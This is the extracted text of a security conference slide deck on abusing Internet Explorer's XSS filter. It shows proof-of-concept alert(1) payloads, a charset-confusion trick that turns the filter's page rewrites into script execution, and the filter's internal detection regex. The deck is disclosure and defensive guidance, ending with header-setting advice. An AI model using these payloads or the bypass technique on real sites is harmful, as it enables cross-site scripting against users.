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X-XSS-Nightmare: 1; mode=attack
XSS Attacks Exploiting XSS
Filter(Prudence Edition)
Masato Kinugawa
Self-Introduction
Masato Kinugawa
Self-Introduction
Masato Kinugawaxs
Self-Introduction
Masato Kinugawaxs
BHunter
Bug-hunter's Joy
Self-Introduction
Today's topics
❶XSS technique❷Bypass XSS filter technique
Using IE’s XSS filter
Today's topics
❶XSS technique❷Bypass XSS filter technique
Using IE’s XSS filter
Sorry! I Changed today's topics!
Today's topics
What is XSS filter?
How to associate with XSS filter?
XSS Filter
Chrome and Safari have the same function.
➡This time, I pick up IE's filter.
It was introduced from IE8.(2009)
Basic of XSS filter of IE
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"></head><body>q param is: <img src=x onerror=alert(1)></body></html>
Before cut-off
If request and response are matched with dangerous condition, XSS filter rewrites a page.
Like this #
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"></head><body>q param is: <img src=x #nerror=alert(1)></body></html>
If request and response are matched with dangerous condition, XSS filter rewrites a page.
After cut-off
Inaccuracy of XSS Filter
If matched with the condition, XSS filter rewrites a string unrelated to part of a dynamic creation of user input.
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html><html><head><m#ta charset="utf-8"></head><body>q param is: AAA</body></html>
World of after introduction of XSS
filterAll site suddenly had the possibility of partial rewrite of a page.
##
#
2008 2009
About little changeIs it no big deal?
➡Let’s think about changing 1 byte at somewhere!
##
#
http://example.com/?q=AAA
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="AAA".replace(/</g,'<');document.write(s);</script></body></html> Dynamic creation of
User's input to inside of string literal
http://example.com/?q="/</script\
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="\"/<\/script\\".replace(/</g,'<');document.write(s);</script></body></html> XSS measures is OK
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
<svg/onload=alert(1)>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
<svg/onload=alert(1)>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
<svg/onload=alert(1)>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="さ \";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="さ \";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
Interpretation of UTF-8
"さ \";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ \Shift_JI
S 縺 表
"縺表 ";alert(1)//"
Interpretation of Shift_JIS0xE3 0x81 0x95 0x5C
UTF-8 さ \Shift_JI
S 縺 表
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="縺表 ";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="縺表 ";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
Basically,Even 1 byte of change is risk.
In the past,
If you don't do careful, Rewrite of XSS filter also becomes vulnerable.
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
Universal XSS via IE8s XSS FiltersEduardo Vela Nava & David Lindsay
2015: Is it safe at now?
Let’s see how much real cut-off rule is!
I found XSS vulnerable patterns page of normal structure which has no XSS
It is safe…no, it doesn't!
Apart from it this
This case will publish after modify.
Cut-off RuleIt isn't documented in particular. We can see the loading binary to browser of dll include regular expression of cut-off strings.
<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href
<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\
<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href
<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\
<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href
<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\
<button va#ue=<fo#m><texta#ea><is#ndex><input va#ue=<option va#ue=<em#ed src=<em#ed type=<if#ame src=<f#ame src=<x:vmlf#ame src=<li#k href=<im#ort implementation=<m#ta http-equiv=<m#ta charset=<a hr#f
<script src=<script xlink:href=<script href=<script><ap#let><ob#ect type=<ob#ect codetype=<ob#ect classid=<ob#ect code=<ob#ect data=<ba#e href=<style>@i<style>:(<style>:\<style>=(<style>=\ After cut-off
<button va#ue=<fo#m><texta#ea><is#ndex><input va#ue=<option va#ue=<em#ed src=<em#ed type=<if#ame src=<f#ame src=<x:vmlf#ame src=<li#k href=<im#ort implementation=<m#ta http-equiv=<m#ta charset=<a hr#f
<script src=<script xlink:href=<script href=<script><ap#let><ob#ect type=<ob#ect codetype=<ob#ect classid=<ob#ect code=<ob#ect data=<ba#e href=<style>@i<style>:(<style>:\<style>=(<style>=\ After cut-off
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
<a hr#f<m#ta charset=<li#k href=<script>
DEMO#❶
❷❸❹
I want you to feel itSafety of your site is depend on XSS filter.
➡Is it browser's bug? Should browser do something about it?
I can not say rewrite of page is always safe.
From the first, your page is
Can you declare your site that can stand up to partial breakdown?
XSS filter can do thisXSS filter very carefully rewrites a page.
#
In fact
In some case, it is possible to not operate specific function from intentional false positive. (…)Did the author of XSS filter introduce XSS filter while recognizing about the risks? (or not) I’m interested a little about it.
Mr. Terada's bloghttp://d.hatena.ne.jp/teracc/20090622
Browser side introduced it, knowing the risk.Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:
In fact
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
Insider said"The answer is Yes. ".
Mr. Hasegawa
Browser side introduced it, knowing the risk.Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:
➡Does Web developer use it while taking care of the risk?
What is "taking care of the
risk"?✔ you should completely grasp XSS filter's cut-off action.✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety.
✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.
Then, you should do as follows:
Can you do those?
Example of cut-off string
javascript:1vbscript:1vbs:1
Example of cut-off string
javasc#ipt:1v#script:1v#s:1
Is this simple?
Detail of cut-off of javascript:
{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}
Detail of cut-off of javascript:
{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}
http://masatokinugawa.l0.cm/2012/09/xss3.html
If you can do those,✔ you should completely grasp XSS filter's cut-off action.✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety.
✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.
I think you can modify all XSS on your site...
➡What is the best?
X-XSS-Protection:Value Effect
0 Disable
1 Enable(Partial rewrite)
1;mode=blockEnable
(Prevent rendering of the page)
Default
The response header that can control XSS filter.
How arecareful persons doing?
HTTP/2.0 200 OKDate: Mon, 19 Oct 2015 22:32:06 GMTContent-Type: text/html; charset=UTF-8Content-Encoding: gzipServer: gwsX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGIN...
HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/htmlDate: Mon, 19 Oct 2015 22:40:37 GMTx-content-type-options: nosniffX-Frame-Options: DENYX-XSS-Protection: 0...
They are calculatingly controlling!!
The choice which considered more
safetyValue Sites which should choose header
0 They are measuring basic XSS./They want to remove false-negative.
1 Not recommended(Discovered technique affects here.)
1;mode=block
It is probable that the site have XSS./They want to protect site just in case.
default
X-XSS-Protection:0 or 1;mode=block
Is mode=block safe?
It should don't affect direct script execution.I think a favor of the filter is bigger than it.
If feature of cut-off can detect from outside,they may guess page contents.This possibility probably can't be changes to zero.
On the other hand…
Comments for Web developer
Me
How about changing to 1;mode=block?
Comments for Web developer
How about changing to 1;mode=block?
Cut-off explanation is unkind, It is difficult when user support
of false-negative…
Dev
Me
Cut-off explanation is unkind.
Sure…
I think this site is measuring basic XSS,Would you like to use X-XSS-Protection:0?
Me
Comments for Web developer
I think this site is measuring basic XSS,Would you like to use X-XSS-Protection:0?
MeUser may think about setting of infelicity security function with highly priority of product action.
Dev
Comments for Web developer
Trap of XSS filterXSS filter cut off only attacked position then it shows other position, it seems like the smartest.
0 1 block
This action is the risk.
ConclusionsI'm hoping for improvement of XSS filter.
It should still be possible to do safely.Is present default action really OK?
In theory, cut-off risk is inseparable from XSS filter.I want web developer to know this possibility.I highly recommend XSS protection control except default action.
http://l0.cm/xxn/
Real Nightmare will be published on this
URL.
lower-case of L and Zero
";alert#"Thanks!"#//
@kinugawamasatomasatokinugawa@gmail#c
om
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